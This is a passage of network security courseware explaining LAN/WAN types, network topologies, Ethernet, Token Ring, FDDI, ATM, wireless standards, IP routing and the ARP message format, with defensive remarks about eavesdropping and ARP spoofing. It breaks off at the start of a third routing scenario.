FORESEC

F O R E S E C O F F I C I A L C O U R S E W A R E

FCNS 128-26OFFICIAL COURSEWARE

Copyright © 2010 by FORESEC ACADEMY

All rights reserved. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publisher, except in the case of brief quotations embodied in critical reviews and certain other noncommercial uses permit-ted by copyright law. For permission requests, write to the publisher, addressed “Attention: Permissions Coordinator,” at the address below.

COURSE ERRATA

Harden your network before it’s too late.

Security vulnerabilities, such as weak configurations, unpatched systems, and botched architectures, continue to plague organizations. Enterprises need people who can find these flaws in a professional manner to help eradicate them from our infrastructures. Lots of people claim to have security remediation skills but precious few can apply these skills in a methodical regimen of professional testing to help make an organization more secure.

This class covers the ingredients for successful network penetration testing to help attendees improve their enterprise\s security stance.

Lesson 1 Networking Concepts

Lesson 2 IP Concepts

Lesson 3 Computer Architechture Fundamentals

Lesson 4 Information System Security

PART 1 Network Security Essentials

5

Networking Concepts

Welcome to this book. In its pages we strive to provide you with knowledge and skills that are essential for carrying out security responsibilities in your organization. The first few modules lay groundwork for special-ized security topics that are covered later on. We begin Part I with the basics of network operation and design and then proceed by discussing particulars of the TCP/IP protocol suite. In this context, we introduce you to port scanning and demonstrate how to analyze network traffic using a sniffer. We also take a close look at the role that routers play on the network and conclude this section of the book by focusing on physical security. These concepts are crucial to security because, after all, the network offers the backdrop for per-forming business activities. Coincidentally, it is also the medium for attacking the very systems that make legitimate activities possible. To be able to protect the network, you must first understand how it operates.

Concepts

This module discusses fundamental principles you need to know to build a secure network. We review several Local Area Network (LAN) topologies - bus, ring, and star and explain how they relate to low-level communication protocols such as Ethernet, Token Ring, and Asynchronous Transfer Mode (ATM). We also introduce you to Wide Area Network (WAN) technologies such as Frame Relay and X.25. Next, we look at network devices that you are likely to find on the network: hubs, bridges, switches, and routers. At the end of the module we walk you through the process of designing basic network architectures, built with security in mind. When designing a sample network, we discuss concepts of resource separation and defense-in-depth. We also discuss the use of Virtual Local Area Networks (VLANs) when implementing a network infrastruc-ture..

Types of Computer Networks

A Local Area Network (LAN) is a relatively small network that is confined to a small geographic area, such as a single office or a building. Laptops, desktops, servers, printers,and other networked devices that make up a LAN are located relatively close to each other.

From a security context, LANs are the point at which trusted users typically access your network and server resources. Often, enterprises extend too much trust to users in LANs who have otherwise unrestricted access to information resources. Consider the plight of an organization that fires an employee, but permits the employee to return to their computer under the guise of removing personal data. With unrestricted access to network resources, the disgruntled employee has the ability to delete or tamper with information that is critical to the organization. Even happy, trustworthy employees can be a critical threat to information securi-ty. An employee who is tricked into installing malicious software or accidentally introduces a computer virus or worm to an organization can cause immeasurable damage if he is granted access to critical systems.

On July 31, 1996 an employee of Omega Engineering (U.S.A.) logged into their computer and set off a logic-bomb that deleted all the programs that ran the company’s engineering operations. Former system administrator turned disgruntled employee, Timothy Lloyd, who had been fired from the company shortly before implementing his attack, planted the logic-bomb. The result: the company lost $12 million in l reve-nue and had to lay off 80 employees as a result of their losses. Omega Engineering was unable t recover the lost information from this insider attack

(source: http://www. nwfusion.com/news/2002/0304lloyd.html).

It is easy to identify employees as the potential inside threat, with all others in the external threat category. The problem with this classification method is that LAN users are not always employees. Contractors, busi-ness partners, vendors, and students are all examples of people who might use a company LAN but are not trusted with limitless access to information resources.

NET

WO

RKIN

G C

ON

CEPT

S

6

Figure 1.1

Metropolitan Area Network

The term Metropolitan Area Network (MAN) is typically used to describe a network that spans a citywide area or a town. MANs are larger than traditional LANs and predominantly use high-speed media, such as fiber optic cable, for their backbones. MANs are common in organizations that need to connect several smaller facilities together for information sharing. This is often the case for hospitals that need to connect treatment facilities, outpatient facilities, doctors offices, labs, and research offices for access to centralized patient and treatment information. MANs share many of the same security threats as LANs, but on a larger scale. The plight of an administrator in a central location granting access to countless offices that are scat-tered within a city is a difficult one that demands strict access control mechanisms to protect against unau-thorized information access.

One example is the Healthlink Miami Valley project in Montgomery Valley, Ohio (U.S.A.). Tasked with provid-ing a community-wide information network to provide universal care to uninsured and marginally insured patients, the Healthlink team developed a MAN to connect partner hospitals, clinics, and doctor offices to provide coordinated care to patients through a centralized information system, while remaining in compli-ance with federal regulations regarding confidentiality of patient information.

More information on the Healthlink Miami Valley project is available at :

http://www. med.wright.edu/chc.

NETW

ORKIN

G CO

NCEPTS

7

Figure 1.2

Wide Area Network

A Wide Area Network (WAN) covers a significantly larger geographic area than LANs or MANs. A WAN uses public networks, telephone lines, and leased lines to tie together smaller networks such as LANs and MANs over a geographically dispersed area. Connecting devices in different geographic areas togeth-er for information sharing, WANs are an important piece of enterprise networks. For example, consider the VisaNet global network used by Visa International. The VisaNet network connects locations through-out 150 countries to validate and debit credit-card transactions at over 24 million locations. By providing security and simplicity over a standard-based WAN architecture, Visa International relies on their net-work infrastructure to provide reliable access to merchants who accept Visa credit cards for transactions.

The Internet is an example of a network that connects many WANs, MANs, and LANs into the world is larg-est global network. Internet Service Providers (ISPs), such as UUNet and QWest connect the networks. These providers are responsible for maintaining the integrity of the Internet while providing connectivity between WANs, MANs, and LANs throughout the world. ISPs provide access to the Internet to customers through the use of points-of-presence (POP), also called network access points (NAP), in cities throughout the world. Cus-tomers provision access to POPs from their own WANs, MANs, and LANs to Internet access to their users.

http://corporate.visa.com/about-visa/technology-index.shtml

NET

WO

RKIN

G C

ON

CEPT

S

8

Physical Topologies

A physical topology describes how the network is wired together. It is the layout of how systems are con-nected via cables or wireless devices. Wire-based physical topologies are easy to visualize because they are interconnected according to simple geometric patterns. This section examines some of the most common topologies that you might see on a LAN: bus, ring, and star networks.

Bus Topologies

Simplicity of the physical bus topology is, perhaps, its biggest advantage - especially if it is employed on a small network. All systems in a bus topology are attached to the same cable segment. Bus topologies are used rarely today because they offer low fault tolerance, poor reliability, poor traffic isolation capabilities, and limited scalability.

The security implications of a bus topology network include the inability to provide reliable, secure access to information resources. Because all workstations communicate on the same network cable, any other con-nected workstation can monitor other users activity. Regardless of the transport protocols in use, users on bus networks cannot be guaranteed that their network traffic is confidential and only accessed by intended recipients.

Figure 1.3

Ring Topologies

Ring topology networks share many of the same flaws as bus topology networks. In a ring topology, each sys-tem has two connections to the network. Systems transmit messages on one side and receive messages on the other. Messages travel around the ring in a closed loop from node to node. Unfortunately, if one of the cables in the loop develops a problem, it is likely to disrupt communications of the entire ring-based network segment.

A ring topology shares many of the same data confidentiality flaws as the bus network. Traffic on a ring network must traverse the entire ring for bi-directional communication between two hosts. Any hosts that connect to the network between two communicating hosts can eavesdrop on at least half of a given conver-sation and capture confidential information from the network.

NETW

ORKIN

G CO

NCEPTS

9

Figure 1.4

Star Topology

Star is the most common physical topology in use today. All systems in this topology are connected directly to a central device such as a hub or switch. A node that wants to send a message to another system on the star network directs the message to the central connection point which is usually a hub or a switch, which relays it to the appropriate recipient.

The star-wiring pattern helps provide fault isolation; if the cable leading to an individual system is faulty, the other systems can still exchange data. This is a significant improvement over physical bus and ring topolo-gies, which can be impaired from a problem with a single wire. However, this only provides fault tolerance from a faulty wire. If a computer has a faulty NIC (network interface card), an entire segment can still be flooded. The reliance on the central device in the star topology creates a single point of failure; however, a hub failure is generally easier to troubleshoot than cable-related problems that can undermine bus and ring topologies.

The main disadvantage of a star topology is probably the need for a dedicated cable segment for each sys-tem. The total cost of wiring can become particularly evident if the networked systems are located far from the switch or hub. For each system that needs to communicate over the network, a wire must be run from the new node to the central location. In practice, however, the cost of running new cable in star topology usually is not large enough to outweigh the ease with which new nodes can be added to the network and the fault tolerance that this pattern provides.

From a security context, a switched star network is the only topology that can prevent other users from eavesdropping on traffic sent between two hosts because each host has a dedicated cable segment with which to communicate. This provides the basis for upper-layer protocols to ensure that only the intended recipients receive traffic sent from one system.

NET

WO

RKIN

G C

ON

CEPT

S

10

Traffic control capabilities in a star network are better than that of the other physical topologies we have discussed. Because all of the star’s circuits are tied to a single device, the device can manage the flow of data between systems that are connected to it.

To summarize, the following advantages of a star topology put it ahead of the other physical topologies mentioned earlier:

Reasonable fault tolerance

Scalability and ease of expansion

Support for traffic isolation

Confidentiality for traffic delivery

Now that you are familiar with common ways of wiring computer systems using several physical topologies, lets look at available options for sending signals over the wire.

Logical Topology

After the systems have been interconnected, they must know the rules for sending signals to each other. These rules are specified by media access protocols, which we examine in this section:

Ethernet

Token Ring

FDDI

ATM

These protocols are responsible for making sure that a signal sent by a system finds its way to its destination. The process that the protocol follows to send data over the cable, regardless of how it is physically wired, can be described using a logical topology.

Note: A logical topology describes how a signal travels across the wires, which have been arranged according to some physical topology.

Physical and logical topologies generally are independent of each other. As you will see, a Token Ring net-work, which uses a logical ring topology, is usually wired according to a physical star topology. There often is a relationship between a physical and a logical topology that results in some pairings being used more often than others.

Note: Regardless of the logical topology choice, the underlying physical topology that describes how the wires are connected could be different.

NETW

ORKIN

G CO

NCEPTS

11

To better understand the distinction between physical and logical topologies, consider how humans com-municate. In most cases, our verbal interactions are guided by the grammar of a particular language - En-glish, for example. The English language has numerous rules that dictate how we should form words and sentences to help provide meaning to what we say. The English grammar is our logical topology, which describes our communication protocols. The physical topology of human interactions defines the systems that we use to communicate. For example, a telephone is one such physical topology; postal mail is another. A single logical topology (English) can be used with multiple physical topologies (telephone, mail). Similarly, each communication system can act as a carrier for different human languages.

Intruders can exploit certain properties of logical topologies to attack systems on the network. For example, attacks such as Address Resolution Protocol (ARP) cache poisoning can be used to intercept Ethernet traffic on a LAN or to disrupt normal network functions. (We discuss the role of ARP on Ethernet networks later in this book.) Understanding physical and logical attributes of the media access protocol helps in assessing the networks strengths and weaknesses.

Ethernet

Ethernet is by far the most popular media access protocol currently used on LANs. A chunk of data trans-mitted by Ethernet over the wire is called a frame. On an Ethernet network, only a single node should be transmitting a frame at a time. If multiple systems are transmitting simultaneously, a collision occurs that can cause both signals to fail and require the systems to retransmit their frames.

To keep the number of collisions to a minimum, a system is required to check whether anyone else is al-ready transmitting before placing a frame on the wire. If another systems signal is already on the wire, the system is expected to wait, according to the algorithm designed, to give each node a fair shot at using the network. If the line is clear, the system generates a signal and monitors the transmission to make sure that no collision occurred. These properties are summarized under Ethernets designation as a Carrier Sense Mul-tiple Access/Collision Detection (CSMA/CD) protocol.

Ethernet specifications actually define more than just protocols for sending signals over the wire. Other properties include cabling requirements for transferring data at desired rates and the maximum length of the wire segment. In addition, Ethernet standards specify which physical topology should be used for a par-ticular type of Ethernet communication.

NET

WO

RKIN

G C

ON

CEPT

S

12

Logical Topology10Base5 Ethernet is dated and is therefore rarely seen on modern networks. It supports the data transfer rate of 10 Mbps and uses coaxial cable that is laid out according to a physical bus topology. More contemporary Ethernet standards, such as 100BaseTX, support the rate of 100 Mbps and rely on unshielded twisted pair (UTP) cable that forms a physical star topology. (We examine UTP cabling options in the network Hardware section of this module.) Gigabit Ethernet networks, commonly referred to as GIG-E offer rates of 1000 Mbps over fiber-optic and Category 5e cabling. Some very high-end optical networking switches offer speeds of 10,000 Mbps, which is used for network backbone connectivity.

Risks to Large-frame Optimized Gigabit Networks

Ethernet networks have used a consistent maximum frame size of 1500 bytes since the first 10 Mbps net-works. As the speed of Ethernet networks increases, this small frame size becomes less efficient. To better utilize the available bandwidth of gigabyte and 10-gigabyte Ethernet networks, these networks use timing that is optimized to operate with jumbo-sized frames for maximum bandwidth efficiency. Unfortunately, these networks are likely to become victim to attacks that use a lot of very small frame sizes. Because these networks are engineered to operate well with very large frames, they are naturally not optimized to work well with large quantities of very small frames.

MAC Addresses on Ethernet Networks

Each node on an Ethernet network is expected to have a Media Access Control (MAC) address that Ether-net uses for delivering frames to a desired destination. MAC addresses are typically embedded into Net-work Interface Cards (NICs) that are used by systems to plug into the network. A typical MAC address looks something like 00-D1-57-81-C7-E1 and is designed to uniquely identify a node on the network. However, an attacker might be able to forge his system’s MAC address to intercept Ethernet frames that are destined for someone else on the LAN. Programs such as arpwatch allow you to keep track of MAC addresses used on your network and can warn you when a MAC to IP mapping suddenly changes.

Do not confuse MAC and IP addresses. A MAC address is a physical hardware address that the manufacturer burns into the network interface. Ethernet uses it at the Data Link layer(2) to deliver frames on a LAN. An IP address, on the other hand, is a logical address used by a higher-level protocol to identify systems on a LAN and on the Internet. We rarely use MAC addresses when referring to a remote system because this informa-tion is not routed, but can be bridged and switched within the local network. However, the local network equipment must ultimately map an IP address to the destination’s MAC address for Ethernet to deliver the IP datagram to the proper system.

To see a list of MAC addresses that your system can currently map to IP addresses, use the arp –a command, which works similarly on Unix and Windows systems:

NETW

ORKIN

G CO

NCEPTS

13

C:\>arp -a

Interface: 192.168.1.200 on Interface 2

Internet Address Physical Address Type

192.168.10.1 00-03-31-ce-41-00 dynamic

192.168.10.102 00-01-02-63-eb-83 dynamic

The system usually updates this table dynamically through the use of the ARP protocol. Module 2, ìProtocol Stacks and Numbering Systemsî discusses ASP and network addressing schemes in greater detail.

Token Ring and FDDI

Token Ring offers an alternative method to sending signals across the network media. Originally de-veloped by IBM in the 1970s, it is still in use on some networks, but is not as popular as Ethernet. Token Ring is described as the logical ring topology where systems can only communicate with their immediate neighbors, and the data travels ìone-wayî in a single closed loop. A specialized frame called a token car-ries data around the Token Ring network. To prevent collisions, only the system that possesses the token is allowed to transmit to the network. (This is drastically different from the CSMA/CD technique employed by the Ethernet.) Each system receives and examines the token to see whether it contains data for that system. If there is such data, the system processes it and passes the token along to its immediate neigh-bor. If the token’s contents are not destined for the system, it simply transmits the token to the next node.

To begin communicating on the Token Ring network, a system puts data into an empty token and passes it to the neighbor. Eventually, the token makes its way to the destination and loops back to the sender. The originating system then removes the data, marks the token as empty, and passes it along the ring. When a node receives an empty token, it can fill it if it needs to send data, or it can simply pass it to the neighboring system. Although Token Ring is logically a ring topology, its wiring usually follows a physical star topology. In this configuration, systems that form the Token Ring network are connected to a central device called a multi-station access unit (MAU). Workstations are connected to the MAU similarly as to a switch. Internally, the MAU passes the token serially from workstation to workstation, one-way and in order, eventually completing the LAN circuit in a logical ìring.î To pass a token to a neighboring node, the system actually sends the signal to the MAU, which retransmits it to the originator’s neighbor. The primary machine in the loop, the ìactive mon-itor,î consistently checks for malfunctioning nodes in the ring by polling them about 7 times each second.

Fiber Distributed Data Interface (FDDI) is similar to Token Ring in that it uses a token to pass data along a logical ring. FDDI also has a second ring for redundancy purposes. The second ring is not used for normal communications if the primary ring is operating properly. If the primary ring fails, FDDI can switch to using the second ring. The redundant second ring is usually inactive, with the purpose of reestablishing communi-cations resulting from breaks in the architecture. The redundant loop is installed to close the data path loop in the event of a break in the primary ring. Data on the backup ring travels in the opposite direction from that of the primary ring. Integrity is restored when a break in the loop is detected. Then the nodes on either side of the break cross over the primary loop and the redundant loop, effectively closing the loop at the nodes that are adjacent to the break location. In any case, only one ring is used for communications at a given time.

NET

WO

RKIN

G C

ON

CEPT

S

14

Regardless of the number of rings, both Token Ring and FDDI have a certain level of fault tolerance built right in. When a system does not see a token within a specific time period, it begins to send a beacon frame. A beacon is simply the system’s way of saying, ìHey, I have not seen the token in awhile; there might be a problem downstream from my location.î This allows nodes on the network to automatically isolate the prob-lem area and attempt to take some form of corrective action. For example, in a Token Ring environment, a system identified as having a problem will pull itself out of the ring and perform a self-diagnostic procedure. If it finds a problem, the system will remain out of the ring, allowing other nodes to continue communicat-ing normally. If the self-check passes, the system will jump back into the ring.

One of the nice attributes of FDDI is that it performs validation against this self-check. Think about this for a moment: a network card that may be malfunctioning is running a check to see if it is faulty. Does this sound like a good idea? In the case of FDDI, there is a backup plan. If the upstream and downstream systems realize that the ring fails every time the faulty system jumps in, the other systems can take it upon themselves to isolate the offending system. This greatly increases the availability of the FDDI network.

Unlike a Token Ring network, which is usually wired using a physical star topology, FDDI can be wired using a physical ring topology. If such FDDI networks used only a single physical ring, the lack of a central MAU in a physical ring topology would not allow such FDDI implementations to bypass troubled areas. (A MAU allows star-based Token Ring and FDDI networks to automatically bypass a port that is disconnected or that has a cabling fault.3) Therefore, the presence of the backup ring is most important for FDDI configurations that employ a physical ring topology.

Figure 1.5

NETW

ORKIN

G CO

NCEPTS

15

ATM

ATM provides yet another way for sending signals over the wire. Because ATM is relatively expensive to set up, it is not frequently seen on LANs. However, its traffic predictability and support for high bandwidth make it a good fit for networks that need to carry low-latency traffic such as video streaming. ATM is more com-monly used for establishing high-speed backbones that interconnect smaller networks and can carry signals over significant distances, as we discuss in the ìWAN Technologiesî section.

ATM has properties attributable to media access technologies such as Ethernet and Token Ring, and prop-erties of higher-level protocols such as IP and IPX. If you do not have a pure ATM environment, you can still use it to encapsulate traffic based on other protocols. ATM’s ability to encapsulate a wide range of network protocols allows it to be integrated with most existing WAN and LAN implementations.

ATM is connection-oriented; therefore, before systems can communicate over an ATM network, they must establish a virtual circuit between each other. The circuit can span across multiple ATM switches that are also handling communications for other systems at the same time. The circuit is considered to be ìvirtualî be-cause its communication channel traverses a shared network medium.

The virtual circuit is torn down at the end of the connection. This concept is similar to the way telephone calls are established. When you dial a number, the phone company sets up a virtual circuit from your phone to the phone of the person whom you are calling. The telephone circuit between the two phones ceases to exist when the call is complete.

Establishing a channel for each connection allows ATM to provide Quality of Service (QoS) guarantees for its traffic. When setting up a virtual circuit, switches along the path can be requested to allocate the desired amount of bandwidth: ìI need 512 Kbps to support a video conference. Do you have that much bandwidth available?î If the answer is ìyes,î the virtual circuit is set up through the ATM switch. If the answer is ìno,î the circuit can still be created by following a path through another switch.

A unit of data transported over an ATM network is called a cell. An ATM cell is constant in size, to facilitate QoS functionality. As a result, an ATM cell is always 53 bytes, 48 of which are occupied by the cell’s payload (data that the cell is transporting), and the rest contains header information (to allow the cell to reach its destination). The fixed cell size makes ATM traffic more deterministic than, say, Ethernet, which can vary the size of its frames. Knowing that the cell size is constant helps ATM manage the connection’s bandwidth in order to meet its QoS requirements.

ATM uses an identifier to associate cells with a virtual connection across an ATM network. This identifier is comprised of two fields: a Virtual Channel Identifier (VCI) and a Virtual Path Identifier (VPI). VCIs and VPIs are used to route cells from one ATM switch to another. These identifiers are assigned when the connection is established and can be reused after the connection is terminated. A VCI is used to identify a connection be-tween two ATM switches. A VPI is used to label a collection of such connections grouped into a virtual path. Bundling connections that share a common path across the ATM network helps with connection manage-ment.

For example, it is simpler and more efficient to reroute multiple connections if they are grouped into a com-mon virtual path.

NET

WO

RKIN

G C

ON

CEPT

S

16

Figure 1.5

Figure 1.6

NETW

ORKIN

G CO

NCEPTS

17

802.11

The www.extremetech.com Web site provides a good introduction to 802.11. The information below is reproduced from a few papers found there. The 802.11b protocol is the most common protocol in use on wireless LANs, although 802.11a and 802.11g networks are becoming increasingly popular.

“IEEE 802.11b, referred to as the IEEE 802.11b standard, is the most common and established wireless net-work protocol in use today. The 802.11b standard defines, among other things, the radio frequency band-width wireless signals can use, throughput rates over that signal, and how wireless endpoints communicate with one another.

802.11b signals function in the 2.4000 GHz to 2.4835 GHz range, and have a maximum theoretical through-put of 11 Mbps (though testing suggests that actual throughput is more like 4-6 Mbps) and can even step down to 5.5 Mbps, 2 Mbps, and 1 Mbps to allow a more robust signal. 802.11b uses only Direct Sequence Spread Spectrum (DSSS) radio signaling, as opposed to Frequency Hopping Spread Spectrum (FHSS), which was part of the original 802.11 specifications. DSSS allows for greater throughput, but is more susceptible to radio signal interference. Interestingly, many DSSS-based 802.11 products are inter-operable with cur-rent 802.11b networks, but only at 802.11’s 2 Mbps or 1 Mbps. Wireless endpoints have a coverage area that depends on antenna strength and the ability and clarity of the local environment to transmit radio signals, typically ranging from 75 to 150 feet for an office environment.”

802.11g is the third modulation standard for wireless LANs. It works in the 2.4 GHz band (like 802.11b) but operates at a maximum raw data rate of 54 Mbit/s, or about 22 Mbit/s net throughput (identical to 802.11a core, except for some additional legacy overhead for backward compatibility). 802.11g hardware is fully backwards compatible with 802.11b hardware. Details of making b and g work well together occupied much of the lingering technical process. In an 802.11g network, however, the presence of a legacy 802.11b participant will significantly reduce the speed of the overall 802.11g network.

The modulation scheme used in 802.11g is orthogonal frequency-division multiplexing (OFDM) copied from 802.11a with data rates of 6, 9, 12, 18, 24, 36, 48, and 54 Mbit/s, and reverts to CCK (like the 802.11b stan-dard) for 5.5 and 11 Mbit/s and DBPSK/DQPSK+DSSS for 1 and 2 Mbit/s. Even though 802.11g operates in the same frequency band as 802.11b, it can achieve higher data rates because of its heritage to 802.11a.

NET

WO

RKIN

G C

ON

CEPT

S

18

Routing Fundamentals

Routers are the building blocks of networks. The Internet is a network of networks, and routers act as the IP gateways responsible for determining the best path for moving packets from source to destination. Routing protocols enable routers to exchange routing information so that all Internet-connected networks can com-municate with each other. The critical nature of routers and routing protocols make them popular targets of attackers.

Just as it is important to understand how networks operate in order to secure them, it is also critical to un-derstand how routers and routing protocols work in order to have a secure network. A router must be prop-erly secured lest an attacker compromise it and gain access to packet traffic, alter the router configuration, divert packet flow, or otherwise wreak havoc on a network. An understanding of the functionality of routers and routing protocols is essential for the network security professional.

This module will cover the following topics:

A working definition of routers and routing

A description of how IP devices handle packet routing functions

Types of routing protocols, including a discussion of specific routing protocols

NETW

ORKIN

G CO

NCEPTS

19

Router and Routing Definition

In the OSI model, the Network Layer, layer 3, is responsible for routing and congestion management. Rout-ers work at the network layer, meaning that they route packets (or datagram’s) based upon the network layer address. This module will focus on IP networks and IP routing (the network layer of the TCP/IP proto-col suite). As such, a router (also known in ARPANET vernacular as a gateway) is required to move packets between IP subnets. IP routers perform this routing function based upon the destination IP address in the packet.

NOTE :A network layer address is a hierarchical, routable address. A telephone number is an example of such an address; telephone numbers contain a country code, area (or city) code, exchange identi-fier, and end user number. Internet Protocol (IP), Banyan VINES Internet Protocol (VIP), and NetWare Internetwork Packet Exchange (IPX) addresses are examples of hierarchical, routable network layer addresses.

From the TCP/IP (and OSI) perspective, networks contain two types of devices: end-user hosts and routers that forward packets from network to network. Any device with IP software that is connected to two or more networks is capable of acting as a router. Early IP gateways were, in fact, computers with multiple network interface cards (NICs), connected to multiple networks; today systems with multiple network interfaces are called multihomed hosts. Although an IP host with a single network interface maintains a routing table, host computers generally only forward packets to other systems on the same local network.

Today’s routers generally are dedicated network devices with hardware specialized for rapid packet switch-ing. Routers also have specialized operating systems, and it is this software that really defines the capabili-ties of the router[em]routing protocol support, VPN support, firewall functions, name and address services, etc. These dedicated devices typically have much better performance than routing through a host computer.

Routers forward packets based upon the destination address in the IP packet. Depending upon the routing protocol, the router may or may not know the entire route that the packet is going to take; all the router may know (and all it needs to know) is how to get the packet closer to the destination.

IP devices can fill their routing tables using static or dynamic methods. Static routing merely means that routing table entries contain information that doesn’t change; this is quite common for an access router connected to the Internet where there is no alternate path. Dynamic routing means that the routing table contents will change over time. Most hosts’ routing tables change based upon the traffic leaving the hosts; generally they do not communicate with each other. Routers, on the other hand, generally keep their tables updated by exchanging information with other routers; this router-to-router communication is the function of routing protocols, which will be described in detail later in this module.

NET

WO

RKIN

G C

ON

CEPT

S

20

Routing Operation Fundamentals

Although the routing function of a host and router appear different, the fundamentals of routing essential-ly are the same. This section will describe IP device addressing as it relates to routing as well as direct and indirect routing.

Interface Addressing

It is important to remember that network interfaces have two addresses associated with them, namely a hardware address and a software address.

A hardware address is the Data Link Layer, layer 2, address associated with the network interface. If the net-work is a frame relay network, for example, the hardware address is a 10-bit data link connection identifier (DLCI). If the host is attached to an IEEE LAN (such as 802.3/Ethernet), the hardware address is a 48-bit media access control (MAC) address. MAC addresses generally are hard coded into the NIC and do not change.

A MAC address typically is written as 12 hexadecimal digits grouped in pairs (bytes): 00- 00-0c-34-17-a3 is an example of a typical MAC address. The first 24 bits of the address contain a vendor code, and the second half of the address is a unique number assigned by the vendor. MAC addresses generally are burned into NICs during the manufacturing process. Cisco Systems’ vendor code, for example, is 00-00-0c, and Sun Microsys-tems’ vendor code is 08-00-20. Readers can look up the MAC vendor codes at

http://standards.ieee.org/develop/regauth/oui/oui.txt

A software address, such as an IP address, is the network layer protocol address. This address will be specific to the network layer protocol and actual network to which the host is attached. If the computer supports multiple network layer protocols, the NIC will have multiple software addresses.

An IP address, as discussed earlier, is 32 bits, or 4 bytes, in length and usually written in dotted decimal for-mat, such as 10.5.10.37. An IP address is hierarchical for routing purposes; the first part is the network iden-tifier (NET_ID) and the second part is the host identifier (HOST_ID). Historically, IP used classful addresses, where the Class A, B, or C NET_ID was 8, 16, or 24 bits long, respectively. Today, classless addressing should be assumed, where a variable-length subnet mask indicates the number of bits in the NET_ID.

On a final note, recall that every IP interface has an IP address and a subnet mask. Each IP device also is configured with the IP addresses of the name servers and default gateway (i.e., the router to use if the device does have reason to send the packet elsewhere)

NETW

ORKIN

G CO

NCEPTS

21

Note:

A common analogy for hardware (MAC) and software (IP) addresses is a person’s Social Security Number (SSN) and telephone number. The SSN is like a hardware address in that an SSN is assigned to a person and stays with him for life. Although the SSN does have a code that indicates the geographic location of the person when the number was assigned, SSNs are flat addresses and provide no information about the person’s location; similarly, a MAC address indicates the manufacturer of the NIC but not the present location of the NIC.

A telephone number used for wired telephone service is like a Network layer address. It is hierarchical, globally routable, and indicates the customer’s geographic location. In addition, a telephone number is specific to a telephone network, and it changes as the person moves to a different telephone network.

Routing Functions

The action starts above the network layer, with a higher Transport Layer, layer 4, protocol such as TCP or UDP. The higher layer hands data down to the network layer (e.g., IP) for transmission and the layer 3 address of the destination host.

The network layer assembles an IP packet containing the destination address (from the higher layer), source address (known by this host), and data (also from the higher layer). The network layer hands the packet down to the data link layer; this packet becomes the information field of the data link frame.

Meanwhile, the network layer has to tell the data link layer to what MAC address the frame should be deliv-ered. The routing function then has to determine whether the source and destination host are on the same IP network. The routing function extracts the IP NET_IDs from the source and destination addresses using the subnet mask and compares them.

If the two NET_IDs match, then the two hosts are on the same network, and the sender will employ what is called local (or direct) routing. In this case, the network layer must somehow determine the MAC address of the destination host and then give that address to the Data Link Layer for inclusion in the frame.

If the two NET_IDs do not match, then the two hosts are on different networks, and the sender employs what is known as remote (or indirect) routing. In this case, the network layer will forward the packet to the next hop per the routing process. Again, the network layer has to determine the MAC address of the next hop in the path, and that MAC address is handed down to the data link layer.

NET

WO

RKIN

G C

ON

CEPT

S

22

The Address Resolution Protocol (ARP)

Both direct and indirect routing require the sender to determine the MAC address of another device on the network, even though the sender knows only the IP address of the intended destination device. There is no real relationship between these two addresses, however. The address resolution protocol (ARP) family is used to map IP addresses to data link addresses. Classical ARP allows a host to find the MAC address of another host based upon the IP address, while Reverse ARP (RARP) allows a host that knows its own MAC address to query a server for its own IP address.

ARP, described in RFC 826, is the scheme used by one host on a LAN to determine the MAC address of anoth-er host on the same LAN. There are only three scenarios where ARP will be used: a host looking for the MAC address of another host on the LAN, a host looking for the MAC address of the default gateway, or a router looking for the MAC address of a host or another router on a LAN. The process is very straightforward.

Figure 1.7

NETW

ORKIN

G CO

NCEPTS

23

This figure 1.7 shows the format of an ARP message. The field lengths shown here are consistent for Ethernet hardware addresses and IP software addresses; the names of the fields (in parentheses) are taken from RFC 826:

Hardware Address Type (ar$hrd): A 2-byte field specifying the type of hardware (i.e., MAC or Data Link Lay-er) address, such as Ethernet, IEEE 802, frame relay, or ATM. The value 1 (0x00-01) indicates Ethernet.

Protocol Address Type (ar$pro): A 2-byte field specifying the type of protocol (i.e., software or Network Lay-er) address, such as IPv4, IPv6, X.25, or Banyan VINES. When Ethernet is the hardware address, the protocol address field value of 2048 (0x08-00) indicates use of IPv4.

Hardware Address Length (ar$hln): A 1-byte field indicating the number of bytes in the hardware address (denoted N). For Ethernet’s 48-bit address, this field’s value is 6 (0x06).

Protocol Address Length (ar$pln): A 1-byte field indicating the number of bytes in the protocol address (de-noted M). For IP’s 32-bit address, this field’s value is 4 (0x04).

Operation (ar$op): A 2-byte code indicating the function or type of this message. Values 1 (0x00-01) and 2 (0x00-02) refer to an ARP Request and ARP Reply, respectively. Other options include RARP Request (3, 0x00-03), RARP Reply (4, 0x00-04), InARP Request (8, 0x00-08), InARP Reply (9, 0x00-09), and ARPNAK (10, 0x00-0a; used only with ATMARP).

Source Hardware Address (ar$sha): An N-byte field containing the hardware address of the sender of this ARP packet.

Source Protocol Address (ar$spa): An M-byte field containing the protocol address of the sender of this ARP packet.

Target Hardware Address (ar$tha): An N-byte field containing the hardware address of the target of this ARP packet.

Target Protocol Address (ar$tpa): An M-byte field containing the protocol address of the target of this ARP packet.

Every system maintains a table containing the IP-MAC address mappings known to that system; this is called the ARP cache. A Unix/Linux or Windows host’s ARP cache can be examined using the arp -a command. ARP cache entries generally expire after a few minutes, but static/permanent entries can be placed into the ARP cache using the arp command.

NET

WO

RKIN

G C

ON

CEPT

S

24

Routing Function Wrap-Up

The module provides the basis for a quick review of the IP routing basics described so far.

Note that all addresses in this slide are RFC 1918 private addresses and, therefore, non-routable on the Inter-net. For purposes of this slide, pretend that the addresses are public.

We start with two routers interconnecting several IP subnets.

Figure 1.8

To better demonstrate how all of this works, we will consider several scenarios where a host sends a packet to a destination host on the same LAN, a destination host on a different LAN, and a destination host across the Internet.

Scenario 1:

Host A sends a packet to Host B. Host A learns Host B’s IP address and creates an IP packet with 172.16.7.16 and 172.16.7.17 as the source and destination addresses, respectively. Finding B on the same IP subnet, A uses ARP to determine B’s MAC address. A then creates a frame using its MAC address as the source and B’s MAC address as the destination.

NETW

ORKIN

G CO

NCEPTS

25

Scenario 2:

Host A sends a packet to Host C. Host A learns Host C’s IP address and creates an IP packet with 172.16.7.16 and 172.16.9.26 as the source and destination addresses, respectively. Finding C to be on a different subnet, A knows that it has to send the packet to its default gateway, which is router R1. A uses ARP to determine R1’s MAC address and then creates a frame using its MAC address as the source and R1’s MAC address as the destination. When the packet arrives at R1, the router realizes that 172.16.9.0/24 is a directly connected network. R1 uses ARP to determine C’s MAC address and then forwards the packet in a frame using its MAC address as the source and C’s MAC address as the destination.

Scenario 3:

